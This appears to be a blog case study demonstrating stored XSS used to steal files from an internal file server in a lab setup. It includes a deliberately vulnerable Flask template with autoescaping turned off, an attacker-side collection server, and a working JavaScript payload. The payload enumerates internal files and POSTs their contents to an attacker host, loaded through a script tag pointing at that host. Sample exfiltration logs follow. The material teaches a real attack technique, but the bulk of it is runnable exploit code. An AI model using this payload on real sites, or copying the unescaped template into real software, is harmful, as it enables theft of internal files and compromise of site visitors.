Case Study - Using Xss to Leak Internal Files
intro
XSS is a common attack, if not managed well, it could be used to leak files that’s only supposed to be internal to a network or host. In this case study, we’ll look at an example setup and discuss how to use xss to leak files from an internal file server.
setup
There are three components in this case study
- Attacker host
- A vulnerable webapp that’s vulnerable to xss
- A file server that runs on internal network interface (hosted on the same host as the vulnerable web app)
|------------| |--------------------------|
| attacker | | 0.0.0.0:5000 webapp |
|------------| | |
| 127.0.0.1:80 file server |
| |-----> file1.txt |
| |-----> file2.txt |
|--------------------------|
file server
The file server is a simple python script shown below, there are two files file1.txt
and file2.txt
created alongside the internal file server script just to illustrate the idea.
from http.server import SimpleHTTPRequestHandler, HTTPServer
class S(SimpleHTTPRequestHandler):
def end_headers(self):
self.send_my_headers()
SimpleHTTPRequestHandler.end_headers(self)
def send_my_headers(self):
self.send_header("Access-Control-Allow-Origin", "*")
def run_server():
server_address = ('127.0.0.1', 80)
httpd = HTTPServer(server_address, S)
print('Server running on 127.0.0.1:80')
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print('Server stopped')
if __name__ == '__main__':
run_server()
Vulnerable webapp
This is a simple flask app that stores some user provided content in its memory
from flask import Flask, render_template, request, url_for, flash, redirect
app = Flask(__name__)
GLOBAL_POST_CACHE = '''placeholder'''
@app.route('/', methods=('GET', 'POST'))
def index():
global GLOBAL_POST_CACHE
if request.method == 'POST':
content = request.form['content']
if not content:
flash('content is required!')
else:
GLOBAL_POST_CACHE = content
return redirect(url_for('index'))
else:
content = GLOBAL_POST_CACHE
return render_template('index.html', content=content)
The html template file is located at templates/index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>FlaskBlog</title>
</head>
<body>
{% for message in get_flashed_messages() %}
<div class="alert alert-danger">{{ message }}</div>
{% endfor %}
<h1>Welcome to FlaskBlog</h1>
<p>We run things on the internal server at 127.0.0.1, you can't get there</p>
{% block content %}
{% autoescape false %}
<h3>Unescaped content</h3>
<p>{{ content }}</p>
{% endautoescape %}
{% autoescape true %}
<h3>Escaped content</h3>
<p>{{ content }}</p>
{% endautoescape %}
<h2>{% block title %} Update title here {% endblock %}</h2>
<form method="post">
<div class="form-group">
<label for="content">Title</label>
<textarea name="content" placeholder="content"
class="form-control">{{ request.form['content'] }}</textarea>
</div>
<div class="form-group">
<button type="submit" class="btn btn-primary">Submit</button>
</div>
</form>
{% endblock %}
</body>
</html>
The webapp is simple, a user can submit some content and it will be saved in the server’s memory (so that i don’t have to setup a database) and it will be displayed on the html page. Note {% autoescape false %}
so that xss can be demostrated.
attacker setup
For attacker, there is a server script that can be used to receive both GET and POST requests. We need this to receive the file contents.
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class S(SimpleHTTPRequestHandler):
def do_POST(self):
parsed_url = urlparse(self.path)
query_params = parse_qs(parsed_url.query)
if 'url' in query_params:
print(query_params['url'][0])
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print(f'POST data: {post_data.decode()}')
self.send_response(200)
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(b'POST request received')
def do_GET(self):
parsed_url = urlparse(self.path)
query_params = parse_qs(parsed_url.query)
if 'url' in query_params:
print(query_params['url'][0])
SimpleHTTPRequestHandler.do_GET(self)
def run_server():
server_address = ('0.0.0.0', 8000)
httpd = HTTPServer(server_address, S)
print('Server running on 0.0.0.0:8000')
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print('Server stopped')
if __name__ == '__main__':
run_server()
The payload we use to exploit xss is like below
function list_files_on_internal_file_server(html_page){
const parser = new DOMParser();
const htmlString = html_page;
const doc = parser.parseFromString(htmlString, 'text/html');
const links = doc.querySelectorAll('a');
const paths = Array.from(links).map((link) => link.getAttribute('href'));
return paths;
}
function get_files_from_internal_file_server(url){
fetch(url).then(
async response=>{
var attacker = "http://<attacker>/?url=" + encodeURIComponent(url);
fetch(attacker, {method:'POST', body: await response.arrayBuffer()})
}
)
}
var internal_file_server = 'http://127.0.0.1/';
fetch(internal_file_server).then(
async response=>{
for (const path of list_files_on_internal_file_server(await response.text())){
get_files_from_internal_file_server(internal_file_server + path);
}
}
)
We can submit this to the vulnerable webapp to exploit the xss vulnerability or include our payload on the webapp like below so that we can more easily tweak the js payload.
<script src="http://<attacker>/payload.js"></script>
attack dataflow
Effectively, the attack data flow is like below
|attacker| |web app| |file server|
send js inclusion tag --------------> save it
(wait for a user)
(to browse the webapp)
(from its browser)
payload.js <------------------------ load payload
fetch files ---------------------------> file1.txt, file2.txt
<------------------------------ send files to attacker
The attacker’s server output will look like below
<victim-ip> - - [30/May/2023 23:55:18] "GET /payload.js HTTP/1.1" 200 -
http://127.0.0.1/file1.txt
POST data: content1
<victim-ip> - - [30/May/2023 23:55:18] "POST /?url=http%3A%2F%2F127.0.0.1%2Ffile1.txt HTTP/1.1" 200 -
http://127.0.0.1/file2.txt
POST data: content2
<victim-ip> - - [30/May/2023 23:55:18] "POST /?url=http%3A%2F%2F127.0.0.1%2Ffile2.txt HTTP/1.1" 200 -
Support meowmeow
If you find this article useful, please support: https://www.buymeacoffee.com/meowmeowattack